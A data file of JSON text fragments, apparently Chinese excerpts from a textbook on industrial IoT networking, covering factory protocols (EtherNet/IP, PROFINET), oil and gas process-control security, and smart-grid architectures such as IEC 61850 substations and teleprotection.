    {"text": "使用RTLS还允许工厂经理监视员工在生产过程中完成各自阶段的速度。 RTLS在制造业中的商业价值在于，它帮助工厂经理更好地了解如何提高效率和降低与库存相关的成本。 通过跟踪库存和材料的位置，RTLS还可以通过提供准确的交付时间表来帮助改善客户服务。"},
    {"text": "9.3.1 以太网/IP和通用工业协议（CIP） 以太网/IP是Rockwell公司开发的工业自动化系统的开放标准，现在由开放设备网供应商协会（ODVA）管理。"},
    {"text": "■ 隐式消息传递：这种类型的消息传递包括实时I/O数据、功能安全数据、运动控制数据，通常还有UDP多播。 ■ 显式消息传递：这种类型的消息传递涉及配置、诊断和数据收集，并基于TCP单播传递消息。"},
    {"text": "图9-9 基于以太网/IP的工厂网络 以太网/IP还指定了一种称为设备级环（DLR）的冗余协议，当系统需要连续运行时使用该协议，并且能够在环路断开的情况下实现高速重新聚合。"},
    {"text": "与Modbus TCP不同，Modbus TCP使用TCP在设备之间通信（因此要求设备建立和维护TCP套接字连接），或使用以太网/IP进行通信（用到了UDP），而PROFINET能够直接向应用层发送和接收数据，而不必等待在TCP/IP栈中进行处理（有可能引起可变的延迟）。"},
    {"text": "以太网/IP利用UDP/IP进行实时通信（类似于通过IP应用程序进行语音通信），而PROFINET使用独特的EtherType绕过UDP/IP层，允许直接进行应用程序通信。 PROFINET与标准的IEEE 802.3以太网完全兼容，这意味着普通的以太网设备可以与同一网段上的PROFINET I/O设备和控制器共存。"},
    {"text": "网络服务、应用程序和设备都依赖于在严格的延迟允许范围内交付命令和控制流量，这意味着任何由网络引起的延迟都是一个关键的设计考虑因素。"},
    {"text": "■ 使用符合行业标准的通用系统描述（GSD）文件和兼容PROFINET设备的管理应用程序增强了单窗格管理合规性。 GSD文件包含设备的功能和特征，这些功能和特征支持在PROFINET网络中有效地集成、配置和管理设备。"},
    {"text": "9.3.3 PROFINET架构 连接工厂的PROFINET架构在许多方面与前面讨论的CPwE体系结构相似，包括支持为工业自动化环境中的设备、设备和应用程序提供网络弹性服务。"},
    {"text": "MRP允许工业以太网交换机的环路克服单网段故障，且恢复时间与REP类似。 MRP适用于工业以太网应用，得到了PROFINET的原生支持。 符合PROFINET的工业以太网交换机支持MRP环中的两个角色。"},
    {"text": "MRM通过从一个环路端口发送控制包或测试帧，并在另一个环路端口接收它们来实现这一点。 在正常操作期间，控制包被接收，MRM保持一个端口被阻塞以防止环路。 如果MRM没有接收到其控制包，这意味着环路是不完整的，并且发生了网络故障。 MRM将网络故障通知给MRC。"},
    {"text": "■ 业务驱动：机器制造商中的原始设备制造商通常生产具有相同IP地址的类似机器，并且依赖于NAT来快速部署和复制设备单元和机器，包括IP寻址。"},
    {"text": "NAT是一种网络技术，它使控制系统工程师能够构建重用IP地址的IACS应用程序，同时允许这些IACS应用程序集成到更大的Plantwide架构中。 NAT可以被配置为将特定的IP地址从IACS应用程序内部转换到外部工厂的网络中。"},
    {"text": "图9-12 使用相同的IP地址部署多台机器（需要用到NAT） 机器1部署VLAN 10，机器2部署VLAN 20，线路控制器部署VLAN 30。 机器1的NAT交换机将机器控制器的内部IP地址（192.168.1.x）转换为VLAN 10上的外部IP地址（10.10.10.x）。 NAT交换机也将默认网关（第三层交换机）的外部IP地址转换为内部IP地址。 相应地，机器2的NAT交换机将机器控制器的内部IP地址（192.168.1.x）转换为VLAN 20上的外部IP地址（10.10.20.x）。 同样地，机器2的NAT交换机也将默认网关的外部IP地址转换为内部IP地址。"},
    {"text": "在第三层交换机和NAT交换机之间，每台机器都有一个唯一的VLAN，每个控制器都有一个唯一的外部IP地址。 位于外部的第3层交换机将每个机器控制器的外部IP地址路由到VLAN 30上的线控制器（垂直联锁）或另一台机器的VLAN（水平联锁）。"},
    {"text": "IDMZ 环境由许多基础设施设备组成，包括防火墙、VPN服务器、IACS应用程序镜像和反向代理服务器，以及网络交换机、路由器和虚拟化服务。"},
    {"text": "网络身份服务通过识别正在访问网络的计算机、操作系统和用户的类型来提供一个额外的网络访问和控制层。 基于身份并应用相应的策略，身份服务能够将安全策略推送到计算机正在访问的网络基础设施。"},
    {"text": "由于身份服务通常与目录服务（如LDAP或Microsoft Active Directory）绑定，因此通常的做法是使用集中管理的身份服务模型，IT部门维护在工业区域运行的身份系统的管理。"},
    {"text": "许多工厂应对这一挑战的方法之一是部署PC来收集这些数据。 从工厂车间的PC收集数据带来了维护和安全方面的挑战，因为每台PC都需要打补丁和升级操作系统。"},
    {"text": "随着嵌入机器和接近机器边缘的计算设备的出现，这些设备具有交换、路由和安全功能，并具有单一的加固形式，制造商开始意识到连接机器和边缘计算服务的价值。"},
    {"text": "这种边缘服务方法降低了保护机器数据收集的成本，并通过在将数据传输到数据中心或云进行进一步分析之前，分析工厂低层的数据来优化可用的网络资源和带宽。"},
    {"text": "图9-13所示为机器硬件适配器用于将数据传递给边缘节点/边缘设备上的代理进行分析，然后只将经过优化的数据发送到云端进行进一步分析。"},
    {"text": "随着机器制造商在交付用于预防性维护的OEE分析方面趋于成熟，预计它们将越来越多地使用RESTful API交付Web服务，这些API可以在连接的机器的Web门户中供终端用户制造商使用。"},
    {"text": "ISA99制造和控制委员会提出了一种被称为IACS模型的体系结构模型，该模型以普渡控制层次模型（ISA99/IEC-62443）为基础建立，其中一系列区域和级别确定了协议集、安全边界和制造工厂的运营模型。"},
    {"text": "■ 作为数字化驱动的行业关键挑战：本节阐述了石油和天然气行业面临的挑战（其中一些受到全球经济形势的影响），以及新技术如何颠覆旧的运行方式。"},
    {"text": "■ 提高运营效率：本节研究油气物联网系统中关键的运营效率考虑因素、用例和技术。 ■ 油气物联网架构：本节探讨油气行业的关键安全考虑因素、用例和技术，以及如何使用正确的设计方法解决这些问题。"},
    {"text": "10.1 石油和天然气行业简介 为了了解任何行业并成为其业务转型过程中的相关参与者，必须了解该行业的一些背景（包括其产品、流程、主要参与者和当前趋势）。"},
    {"text": "■ 油页岩：油页岩是尚未转化为碳氢化合物的烃源岩，需要加热才能回收。 ■ 页岩油：在页岩油中，烃源岩位于地表以下足够远的地方，其中所含的有机物质已经转化为液态碳氢化合物。"},
    {"text": "■ 液化石油气：在常温下压缩成液体的丙烷或丁烷或这些气体的混合物。 ■ 液化天然气（LNG）：指在零下162℃下被冷藏和液化，用于储存和运输的天然气。 ■ 压缩天然气（CNG）：在大气压力下压缩到体积的1%以下的天然气。"},
    {"text": "油气价值链主要分为3个环节，如图10-3所示。 图10-3 油气价值链 ■ 上游：该板块主要从事勘探、资本项目开发、原油和天然气生产等相关业务。"},
    {"text": "图10-4 国际能源机构世界能源展望（IEA WEO）2014年新政策方案 图10-5显示了从生产到最终消费的一次能源损失（本例中为煤源）的百分比。"},
    {"text": "生产成本相对较低和小规模的生产者较容易进入到行业中，这意味着在面对最微小的市场动态变化时，可以很容易地提高或降低产量，这进一步导致了不稳定。"},
    {"text": "物联网和数字化，即利用信息技术创新，为运营、工作流程和方法构建新的解决方案和技术的过程，正在为效率和新的商业模式的（闻所未闻的）改善开辟新的道路。"},
    {"text": "■ 实现可行的数据采集：具有成本效益且无处不在的通信技术，如工业WiFi、LTE和LoRa，使行业能够首次或实时地从某些资产获取数据，而且使全新的决策能力成为可能。"},
    {"text": "■ 推动整个价值链的上游、中游和下游的成本节约：成本节约可以通过利用IT和OT的数字融合来消除业务中的壁垒，并重新设计运营模式，从而降低成本、提高生产效率和改进现有资产的利用率。"},
    {"text": "■ 提高灵活性和降低风险：分析可用于将物联网基础设施生成的实时数据转化为可预测和可操作的意见，从而促进更快更好地决策、提高工人安全性和改善网络安全。"},
    {"text": "■ 提高生产力，弥合即将到来的人才缺口：利用物联网和协作系统将稀缺的专业知识扩展到偏远地区，在正确的时间为正确的团队提供实时信息，并提供一个有效的机制来吸引和培养下一代的工人，从而提高生产力。"},
    {"text": "产生物联网价值的第二个领域来自先进的传感器、机器到机器的连接以及大数据分析，这些都有助于公司预测设备故障和维护需求，从而最大限度地减少停机时间。"},
    {"text": "图10-7 物联网和价值驱动因素 10.3 提高运营效率 物联网正在帮助解决油气行业的一些主要挑战，包括： ■ 在降低成本背景下的提升运营效率；"},
    {"text": "10.3.1 石油和天然气网络控制层次的普渡模型 在深入研究石油和天然气工业的具体物联网用例之前，需要重新回顾在第2章和第8章讨论过并在第9章应用于制造业的普渡控制层次结构模型。"},
    {"text": "在过程控制网络（PCN）中，自动化设备连接到一个网络（通常是硬件和软件的组合），该网络负责对关键基础设施（如炼油厂、石油和天然气管道、核电站等）进行指挥和控制。 PCN自动化设备（及其相关组件）构成一个控制系统，称为工业控制网络（ICN）。"},
    {"text": "控制和信息系统组件中包含了一些级别，这些级别用来定义和进一步分离企业或组织的OT（控制系统）和IT（信息系统）中的各个区域（见图10-8）。"},
    {"text": "■ 业务级别（第4级和第5级）：这些是传统IT系统所在的级别，包括文件和打印服务器、企业电子邮件应用程序、HR系统等，以及企业Internet连接或企业网络的VPN访问。"},
    {"text": "10.3.2 物联网的石油和天然气使用案例 提高运营效率是许多行业高管的头等大事，尤其是考虑到从加工到最终产品分销至最终消费者的碳氢化合物勘探和开采的成本。 为了降低成本和提高效率，物联网架构需要针对关键油气行业的不同用例进行定制，包括连接的炼油厂、连接的油田和连接的管道。"},
    {"text": "1.连接的油田 一个为支持油气行业上游业务而构建的物联网架构的典型用例是连接的油田，如图10-9所示。 图10-9 连接的油田的物联网用例 无论是陆地还是海上，油田是一个从许多地下或海底油井提取原油的地区。"},
    {"text": "海上石油钻井平台的基础设施需要对钻井系统的运行、与总部地点的通信，以及健康、安全和环境监测系统提供态势感知支持，这只是其中的一部分。"},
    {"text": "图10-10展示了联网管道的一些常见物联网用例。 图10-10 连接的管道物联网用例 实现这些用例的指导原则是确保连接的管道通信网络支持以下特性： ■ 高可用性和冗余；"},
    {"text": "与油田一样，炼油厂也是全天候运转，有复杂的系统不断监控操作参数，如流量、油箱液位、温度、振动、压力，甚至监测原油精炼过程中产生的危险或爆炸性气体的存在。"},
    {"text": "图10-11突出显示了现代石油或天然气精炼厂中一些常见的物联网用例。 图10-11 连接的炼油厂物联网用例 炼油厂是固定员工、外部公司和承包商的工作场所，他们在工厂周围从事各种各样的工作。"},
    {"text": "例如，图10-12所示的连接的炼油厂参考体系结构演示了如何将有线和无线通信系统互连以提供快速可靠的操作。 图10-12 油气参考体系结构 该体系结构使用炼油厂基础设施的不同系统构建，遵循ISA99/IEC-62443标准，该标准基于普渡控制层次模型。"},
    {"text": "10.4.3 石油和天然气的无线网络 虽然有线基础设施（局域网和广域网）是实现这种体系结构的关键，但无线网络通常是炼油厂最常用的网络元素之一。"},
    {"text": "2.无线过程控制 无线场域网络（WFN）由一个自组式mesh无线设备（各种类型的传感器和制动器、现场移动设备和现场端点）和网关组成，它们服务一个小的连通区域（通常是以WFN网关为中点的50～100米半径区域），通过无线信道连接到局域网，以实现对过程系统的监视和控制。"},
    {"text": "图10-13 802.11无线mesh中的WFN mesh架构 然后，传感器网关与无线网络基础设施通信，该基础设施负责向上游转发流量，消耗和报告传感器数据的应用程序驻留在这里。"},
    {"text": "WFN mesh网络通常基于行业标准IEEE 802.15.4无线网络技术，而后者又为其他几种无线标准奠定了基础，包括WirelessHART（IEC-62591）和ISA100.11a。"},
    {"text": "WirelessHART和ISA100.11a无线现场设备在工业网络中以ISA95 0级运行。 WirelessHART和ISA100.11a都实现了IEEE 802.15.4无线协议，其工作频率为2.4GHz。"},
    {"text": "这些无线技术采用了直接序列扩频（DSSS）技术和信道跳变技术，以确保通信的安全性和可靠性，并采用时分多址（TDMA）技术来确保网络设备之间的通信延迟是受控的。"},
    {"text": "这些系统必须与其他无线系统共享相同的RF频谱，如WiFi、DECT、蓝牙和超宽带（UWB），而且它们还会受到2.4 GHz频谱中发出的其他设备的干扰（例如微波炉、USB 3.0设备和电缆、汽车报警器）。"},
    {"text": "然而，WirelessHART和ISA100.11使用的确定性机制有助于将干扰、跳频、多路径mesh路由、信道白名单/黑名单以及其他可能影响无线领域网络性能和可靠性的因素的影响降至最低。 由于使用这些类型网络的应用程序只需要最小的带宽，但同时需要可预测的低延迟通信，因此基于WirelessHART和ISA100.11的系统比WiFi或类似的系统更适合于控制系统。"},
    {"text": "WFN与有线的基础设施之间的通信通过无线现场网络网关进行。 无线现场网络的网关将无线传感器协议（如ISA100.11和WirelessHART）转换成适合与PLC通信的LAN路由协议套件。 无线现场网络也可以通过以太网双宿连接（即每个无线场域网络有两个无线传感器网关）到局域网接入交换机，为所有无线场网络设备提供备用路径。 当双宿连接到无线现场网络时，每个无线传感器网关必须连接到单独的局域网接入交换机，而单独的局域网接入交换机又连接到单独的局域网分布交换机，从而确保无线场域网络设备的双网络路径。"},
    {"text": "■ 无线现场网络网关可以直接与PLC以太网端口连接以控制流量。 在这种部署模式下，无线现场网络的网关直接连接到PLC以太网端口。 ■ 无线现场网络网关可以与双技术无线接入系统（例如WirelessHART和IEEE 802.11）集成在一个无线接入点。"},
    {"text": "参见RFC 5415）的流量通过一个VLAN流向中央无线LAN控制器，无线传感器的流量通过终接于端口LAN接入交换机中的一个独立VLAN流向直接连接的PLC控制以太网端口。 另一种选择是双技术无线接入点指向现有的两个物理以太网端口，一个用于连接端口LAN接入交换机，该交换机用于将流量发送至IEEE802.11无线LAN控制器，另一个单独的以太网端口用于连接控制PLC。"},
    {"text": "图10-14 结合了ISA100.11网络的WiFi示例 ■ 一些无线现场网络供应商要求控制PLC流量的无线域网络设备通过协议转换器（如ISA100.11a IPv6到IPv4的协议转换）。 协议转换后的流量通过入侵检测和防火墙功能进行转发，然后通过IEEE 802.1Q中继转发到接入交换机上的VLAN，最后通过PLC控制以太网端口转发给控制PLC。"},
    {"text": "1.移动过程控制网络运营商 在移动过程控制网络运营商场景中，设备（例如，工厂、管道、石油钻井平台）在给定位置的战略区域具有无处不在的无线覆盖或只覆盖了部分。"},
    {"text": "虽然这些应用程序运行的HMI位于工厂的控制室，但PCN操作员有时需要在工厂的不同区域进行户外工作，以便对不同的系统进行故障排除或维护。"},
    {"text": "可在危险区域使用的便携式运营商技术（如平板电脑、笔记本电脑、智能手机或可穿戴设备）与无处不在的WiFi覆盖相结合，有助于优化PCN运营商的工作效率。"},
    {"text": "在检修期间，工厂员工、设备供应商和外部承包商昼夜不停地从事高风险和复杂的活动，以期尽快使工厂投入运行，避免发生任何HSE（健康、安全和环境）事故。"},
    {"text": "利用无孔不入的工业无线技术，结合项目工作范围、人力资源数据、门禁控制数据、工人信息等企业数据源，可以实时跟踪和优化生产效率，而不是在项目完成之后再进行改善。"},
    {"text": "由于劳动力年轻，缺乏经验，特别是对于老的系统和基础设施而言，要确保在适当的地点和时间提供适当的资源是一项具有挑战性的工作，而且通常是不可能完成的。"},
    {"text": "有经验的操作员和具有特定技能的工作人员能够立即帮助完成支持任务、培训并处理紧急情况，而无论身处何处，他们可以立即与控制室或现场工作人员联系。"},
    {"text": "4.人身安全 除了用于工厂维护、废水处理和产品处理的化学品外，在精炼和加工过程中使用的许多化学品意味着如果工厂意外泄漏，则会造成潜在的安全风险，这些泄漏可能会影响到员工、承包商、急救人员以及工厂周围的当地社区。"},
    {"text": "在运输过程中，由于管道故障、储罐泄漏、设备故障和泄漏，可能会发生硫化氢（H 2 S）、二氧化硫（SO 2 ）和挥发性有机化合物（VOC）的泄漏。"},
    {"text": "另一个例子是，1984年12月印度UCIL核电站的博帕尔灾难，一场事故导致该核电站的气体泄漏，导致超过50万人暴露在有毒气体中，死亡人数超过2000人，另有数千人受重伤。"},
    {"text": "通过集成的位置跟踪，工厂管理员、安全人员、用户、资产所有者以及健康和安全人员已经意识到基于位置服务的巨大好处，这使他们能够更好地解决工厂中的一些关键问题，包括： ■ 快速有效地定位有价值的资产和关键人员；"},
    {"text": "通过在设备、车辆和集装箱上粘贴有源RFID标签，并在整个基础设施中部署便携式气体探测器和传感器，工厂可以极大地提高其运行效率、员工安全性和合规性。"},
    {"text": "此外，由于所部署的系统没有系统地更新最新的防病毒签名，而且它们的操作系统没有针对已知的漏洞打补丁，因此几乎没有采取任何行动来阻止可能已经发生的网络攻击。"},
    {"text": "这带来了更广泛的安全攻击挑战（有意的、无意的、外部的和内部的）的潜在威胁，公司需要扩展其响应，而不仅仅在物理上隔离，它通常被称为隐匿安全。"},
    {"text": "物理隔离并没有帮助阻止Stuxnet，而且类似的攻击已经证明，即使是隔离最彻底的网络，也可能通过USB闪存驱动器上引入的恶意软件进行本地访问而变得脆弱。"},
    {"text": "10.4.6 保护油气PCN：背景 用于PCN的风险控制框架最重要的目标之一是就HSE（健康、安全和环境）事件以及网络事件导致的计划外中断的项目和/或产品损失而言，为了维系清白的历史而去支持行业的需求。"},
    {"text": "图 10-16 显示了一个应用于油气行业的 PCN安全参考体系结构示例。 图10-16 安全运营参考体系结构 这个参考体系结构包括两个主要组件：安全中心和安全站点（它们承载着有助于保护油气PCN的主要用例）。"},
    {"text": "2.远程访问控制 对PCN的外部远程访问应支持来自组织内网和外部供应商的连接，访问应符合风险控制框架中定义的要求。 实现PCN安全访问（包括远程访问）依赖于加密技术和强身份验证方法的组合，以确保用户或系统仅限于相应的PCN组件。 通过在PCN环境中强制设置中心入口点，并通过使用虚拟专用网络（使用诸如IPSec、RDP、VNC或SSH等分层技术）确保操作中心和站点之间的连接，可以严格控制访问，并且更容易管理。"},
    {"text": "为了最有效地与基于Microsoft Windows的组件（主要用于PCN）进行交互，Windows Server Update Services （WSUS）应使用其他逻辑实现，以确保简化管理并能够生成有意义的报告。"},
    {"text": "该解决方案可以将合格的补丁列表（QPL）链接到补丁解决方案中的组，从而确保改进的补丁处理响应时间，并通过删除手动创建的QPL来减少出错的可能性。"},
    {"text": "标准AV提供商提供的管理解决方案可以结合资产盘点功能来部署已批准的AV签名文件更新。 将特定设备匹配到签名更新要求后，AV管理解决方案可以推出AV签名。"},
    {"text": "一个健壮的AV补丁管理系统对于确保PCN中的OT资产免受已知威胁和漏洞的影响是非常重要的，特别是因为许多系统运行在著名的OS上，比如Microsoft Windows。"},
    {"text": "监控这些资产在网络上的活动，以及报告网络或设备行为中的异常或意外变化的能力，有助于对被动防御机制和防御网络威胁所需的流程和程序进行有意义的管理。"},
    {"text": "如果集中的安全运营中心（SOC）也在监控设备，则必须同时收集并更新操作系统和网络日志，并上传到SIEM（安全信息和事件管理）系统中，以便进一步分析。"},
    {"text": "10.4.8 用于预测性资产监控的数据分析 对工厂机器和资产（如马达、阀门和泵）进行实时数据分析是优化性能和在问题发生前主动检测的宝贵方法。"},
    {"text": "例如，一个压力传感器可能处于完美的工作状态，并且可能还能再使用10 年，但由于严格的更换计划，它在需要更换前几年就被更换了，从而导致了不必要的成本和效率损失。"},
    {"text": "无线传感器和工厂监控设备可用于实时测量温度、振动、校准、压力、粘度和润滑油状况等特征，并将这些测量数据与历史模型进行比较，以评估设备的性能和故障可能性。"},
    {"text": "此外，基于设备参数的实时反馈，可以实现设备性能的优化，即使是很小的效率改进也能节约成本（有关物联网分析的更多信息，请参阅第7章）。"},
    {"text": "公用事业对社会基本功能的重要性是显而易见的，因为许多政府将其归类为关键的基础设施，而且大多数国家都有严格的法律来确保其安全、保护、持续运行和质量。"},
    {"text": "■ 场域网（FAN）GridBlock：本节将FAN作为连接智能设备（包括智能电表和配电网上的设备）的基础元件，允许公用事业公司利用自动化和数据分析的能力。"},
    {"text": "电力输送一般分为3个阶段，在世界上许多地方，这些阶段由完全不同的公司或至少是一家大型电力公司的独立部门提供支持。 电力供应链的3个阶段是发电、输电和配电。"},
    {"text": "■ 输电：电力传输需要长距离的高压电力，一般为 115kV 及以上，传输距离为 50 公里及以上。 输电线路包括架空线路和在水下长距离传输高压电力的海底电缆。"},
    {"text": "图11-1 电网中传统的发电、输电和配电阶段 注释：垂直整合的公用事业公司拥有并经营整个发电、输电和配电（以及零售或直销）的电力供应链，供应给所有类型的客户。"},
    {"text": "当以太网第一次出现时，没有人想到它会比串行网络便宜，也没有人想到计算会变得如此廉价和强大，以至于可以在整个网络的几乎任何地方使用它，而不是在一个玻璃控制室中使用一个庞大的大型主机。"},
    {"text": "一个IT工程师要花多长时间来学习复杂的电气保护和控制系统？ 同样，保护和控制工程师需要多长时间才能真正了解错综复杂的以太网弹性和IP路由？"},
    {"text": "公用事业公司现在正在努力应对IT/OT聚合的挑战，这可能是第一个面临如此大规模地将IT和OT整合到一个具有内聚治理的综合网络的主要行业。 此外，公用事业行业目前正面临着制定新的行业标准的挑战，这些标准允许数百万变电站和配电装置安全地互连到企业IT网络。"},
    {"text": "为了满足这种需求，Cisco开发了GridBlocks参考模型。 尽管存在其他参考模型，GridBlocks为在公用事业领域工作的新手和高级用户提供了一个易于理解的模型。"},
    {"text": "如图11-2所示的GridBlocks参考模型描述了整个大容量电力供应链，从广域大容量电力实体到发电、控制中心、输电电网、变电站、配电网，再到电网边缘的分布式能源资源整合。"},
    {"text": "该模型是前瞻性的，旨在成为一个通用的终端状态参考框架，可以帮助部署和设计电网各个方面的端到端安全能源通信解决方案，从而为公用事业提供新的和强有力的基础——智能电网。"},
    {"text": "图11-2 GridBlocks参考模型 GridBlocks：一个11层的参考模型 如图11-2所示，Cisco GridBlocks参考模型分为11个部分（或层），这些部分将电力供应链的各个方面联网。"},
    {"text": "输电变电站连接多条输电线路，通常电压较高（115 kV及以上），并向配电站供电。 配电变电站接收的输入电压一般为115kV及以上（或服务区内常见的电压），并向终端用户提供25kV或以下的供电。"},
    {"text": "■ 公用事业层：这一层是企业网络的所在地（尽管该名称暗示这里有一些与电网相关的功能，但这是一个以IT为中心的层）。 公用事业层是控制中心和企业网络之间的连接点，它使用带有适当安全策略的防火墙来确保只有来自企业网络的可信流量才能进入控制中心（注意，整个体系结构和层之间都使用了防火墙，这只是一个示例）。 还需要注意的是，大多数公用事业运营着多个控制中心，并具有高度分散的企业网络，这意味着这些网络必须通过城域网络或WAN（可能重新使用WAN网络作为系统控制层）进行安全连接。"},
    {"text": "为了管理负荷和需求，大多数公用事业公司与其他公用事业公司相互连接，在必要时可以相互买卖电能。 有时，一家公用事业公司的电力可能过剩，而另一家公司的电力可能短缺。"},
    {"text": "■ 主变电站GridBlock：此GridBlock深入研究变电站自动化和变电站内过程总线和站点总线设备的互连问题。 ■ 系统控制GridBlock：GridBlock将变电站相互连接，并与控制中心连接。"},
    {"text": "11.3 主变电站电网和变电站自动化 托马斯·爱迪生和亚历山大·格雷厄姆·贝尔是同时代的人，被认为是世界历史上最有影响力的两位发明家。"},
    {"text": "11.3.1 SCADA SCADA是一个可以由中央服务器监控远程设备的系统。 SCADA在变电站中起着至关重要的作用，它允许从远程设备（称为远程终端设备[RTU]和智能电子设备[IED]）进行控制和数据采集。"},
    {"text": "随着时间的推移，远程WAN网络允许SCADA连接扩展到RTU，但这些连接通常是使用RS-232或RS-485接口并通过TDM电路传输的点对点串行链路。 随着时间的推移，SCADA传输开始采用基于标准的协议和开放的网络体系结构，不再依赖于连接每个SCADA从设备的专用串行链路，变电站LAN开始用于传输，每个变电站都有一个本地SCADA主设备。 随着高速、弹性和灵活的IP WAN网络的出现，SCADA服务开始分散在整个网络中，并且可以在控制中心使用集中的SCADA主设备。"},
    {"text": "图11-3说明了一个传统变电站，其中电气继电器串行（RS-232或RS-485）连接到RTU，RTU又连接到一个SCADA网关设备，SCADA网关设备连接到变电站以太网。"},
    {"text": "图11-3 带有串行RTU的传统变电站SCADA网络 虽然我们期望这些传统的SCADA传输机制在未来的许多年中仍然存在，但是从长远来看，传统的SCADA系统正在被一种新的技术标准所取代，这种新标准（IEC 61850）本身就利用了以太网和TCP/IP。 11.3.2 IEC 61850：变电站通信标准的现代化 现有的串行SCADA系统运行在Modbus、IEC 60870-5-101或DNP3上，无法支持现代IED的下一代功能。"},
    {"text": "以太网固有的灵活性意味着IED可以轻松地直接与其他装置以及通信基础设施的其他元件进行通信。 以太网的灵活性提供的另一个关键优势是接口价格低廉，而且设备供应商正在将接口添加到所有现代资产中，这意味着变电站中的无监督设备已经成为过去。"},
    {"text": "站级是需要与IED通信的设备（通常是SCADA通信）。 站总线是站级设备和间隔层中IED之间的网络连接，在这里可以找到保护和电气控制资产、计量装置和其他关键系统。"},
    {"text": "如果电力由于某种原因中断，则测量系统会在几毫秒内检测到它，并通过以太网将GOOSE消息传递给一个对等中继，该中继将电力传输切换到备用线路或馈线。 如果GOOSE信息未正确传递，或者没有在规定的时间内传递，则继电器就会变得混乱，电力可能被错误地切换，导致断电甚至更严重的后果。"},
    {"text": "尽管最初的意图是仅在变电站内使用GOOSE（这意味着GOOSE的第3层VLAN间路由是没有必要的），但是IEC 61850-90-5最近的发展已经允许对协议进行修改，允许GOOSE在广域网的IP上进行路由。"},
    {"text": "图11-5 基于IEC 61850的变电站体系结构 3.迁移到IEC 61850 DNP3、Modbus和IEC 60870-5-101是依赖点对点串行通信的传统协议，似乎与现代网络技术不兼容。"},
    {"text": "具有快速重新收敛能力的现代以太网冗余协议，如快速生成树、ITU G.8032和弹性以太网协议（REP），不能处理这项工作（REP在第9章中进行了介绍）。"},
    {"text": "这一挑战的解决方案是IEC开发的一种新型网络弹性协议，包括并行冗余协议（PRP）和高可用性无缝冗余（HSR），主要用于变电站。 1.并行冗余协议（PRP） PRP是一种IEC标准，用于实现高可用性的自动化网络，确保网络即使在中断情况下也不会丢失任何以太网帧。"},
    {"text": "不同于仅仅发送一个帧到以太网段，使得网络在发生故障时快速收敛（如REP或G.8032），一个支持PRP的双连接IED能够在不同的并行以太网VLAN段上发送相同帧的冗余副本。"},
    {"text": "来自IED的以太网帧被桥接到两个网络接口，并被赋予一个序列号。 然后这两个帧遍历两个并行的网络路径，直到它们到达接收IED（同样是在两个独立的NIC上）。"},
    {"text": "这可能并不总是可行的，因为这不仅需要升级IED本身来支持PRP，还需要部署双冗余以太网网络。 一种类似但略有不同的方法是将一个现有的IED连接到一个支持PRP的接入交换机上。"},
    {"text": "11.4 系统控制GridBlock——变电站广域网 随着变电站自动化的兴起，广域网将变电站和控制中心连接起来，并负责承载本应由电力公司运行的应用程序。"},
    {"text": "世界上几乎所有的电力公司在输电变电站和一级配电变电站之间使用远程保护。 电力公司使用远程保护来在保护继电器之间发送信号，以确保即使在电网部分断开的情况下也能持续供电。"},
    {"text": "图11-7 距离保护方案示例 2.电流差动（87L）保护 不同于距离保护，电流差动保护比较了不同变电站中两个相距较远的继电器之间的电流样本。"},
    {"text": "如果计时不同步，则继电器之间的电流测量在给定的时间点可能不同，错误地指示电流损失或电流过载，从而导致继电器向开关发出信号并断电。"},
    {"text": "图11-8 高压输电线路电流差动保护方案 继电器之间的同步需求也意味着继电器之间的通信路径必须是确定和可预测的。 由于时序同步的要求，电流差动保护对与分组延迟和抖动相关的通信要求非常严格，这意味着所有的方案都要求继电器之间进行对称的转发和返回路径通信。"},
    {"text": "11.4.2 为远程保护设计广域网 在过去的几年中，当保护和控制工程师使用TDM电路在不同变电站的继电器之间进行通信时，可以测量延迟，并且可以预测在两个方向上的延迟都是相同的。"},
    {"text": "虽然基于IP的广域网在公用事业领域有非常积极的发展，但在远程保护方面，它们确实有一个缺点：虽然使用IP路由机制能找到最短的路径到达目的地，但默认情况下它们不使用已知有延迟的可预测路径。"},
    {"text": "为了应对这种需求，IETF和ITU于2008年开始联合研究MPLS的变体，该变体能够利用传统标签交换的所有优点，但同时也包含了载波交换和操作、维护、管理（OAM）的关键元素，这些元素允许远程保护等应用程序通过MPLS传输。"},
    {"text": "图11-9 用于远程保护继电器的对称前向和反向MPLS-TP LSP，提供了可预测的延迟和抖动 MPLS-TP还通过标识已知的备份LPS路径来支持APS，以防止主LSP发生故障。"},
    {"text": "图11-10 MPLS-TP伪线路中的OAM通用关联通道（G-ACh） MPLS-TP能够满足远程保护的要求，但其他类似的MPLS模式，如MPLS流量工程（MPLS- TE）呢？"},
    {"text": "使用MPLS-TE，仍然可以创建确定的和对称的路径，以及提供对APS的支持，但MPLS-TP的实现往往要简单得多，并且与载波以太网交换有更多的相似之处。"},
    {"text": "一种称为Flex-LSP的MPLS变体结合了这两者的优点。 Flex-LSP支持MPLS-TP的所有优点，如用于伪线的APS和OAM，同时还支持CAC和第3层流量工程，很像MPLS-TE。"},
    {"text": "图11-11 风机多业务网格网络 FAN GridBlock被构建为多服务的，这意味着它不基于任何特定于供应商的专有技术，这些技术会限制其用途，就像许多传统的OT系统一样。"},
    {"text": "然而，现代开放标准和网络合规联盟（如Wi-UN和HomePlug联盟）帮助建立了互操作性标准，允许部署单个多服务网络，以支持广泛的应用程序和供应商。 正如WiFi联盟帮助建立WiFi接入点和终端客户端的互操作性一样，这些联盟也在建立互操作性标准。"},
    {"text": "图11-11展示了一个多服务电网FAN，它支持各种应用程序，如电动汽车充电站、连接的路灯、需求响应端点、智能电表以及与配电网络中远程SCADA RTU的连接。"},
    {"text": "■ 多功能终端支持：基于IPv6的物联网终端非常灵活，可用于多种地点，包括AMI（仪表）、街道照明模块、需求响应设备和SCADA RTU等配电自动化终端。"},
    {"text": "虽然这可能被视为一个安全问题，但对这家公用事业公司来说，好处是在无须派遣工作人员的情况下，关闭或恢复那些尚未支付账单或正在偷电的客户的电力供应。"},
    {"text": "此外，大多数智能电表还带有一个内部家庭区域网络（HAN）无线电，可以通过ZigBee与家庭内部的电子设备进行通信（有关ZigBee的更多信息，请参阅第4章）。"},
    {"text": "在这种情况下，与大多数第2层网络不同，在第 2层网络中我们试图限制广播域的大小，一个大的mesh实际上是一件好事，因为它加强了mesh的连通性。"},
    {"text": "然而，FAN有一些关键的限制，包括有限的带宽和节点之间的高延迟（每跳几百毫秒），这意味着它们不太适合媒体丰富的应用程序，如视频监控，当然也不适合远程保护。"},
    {"text": "随着时间的推移，公用事业工程师已经解决了这个问题，他们在用电高峰期控制不太重要的系统的用电量，从而使整个电网的用户仍然可以用电。"},
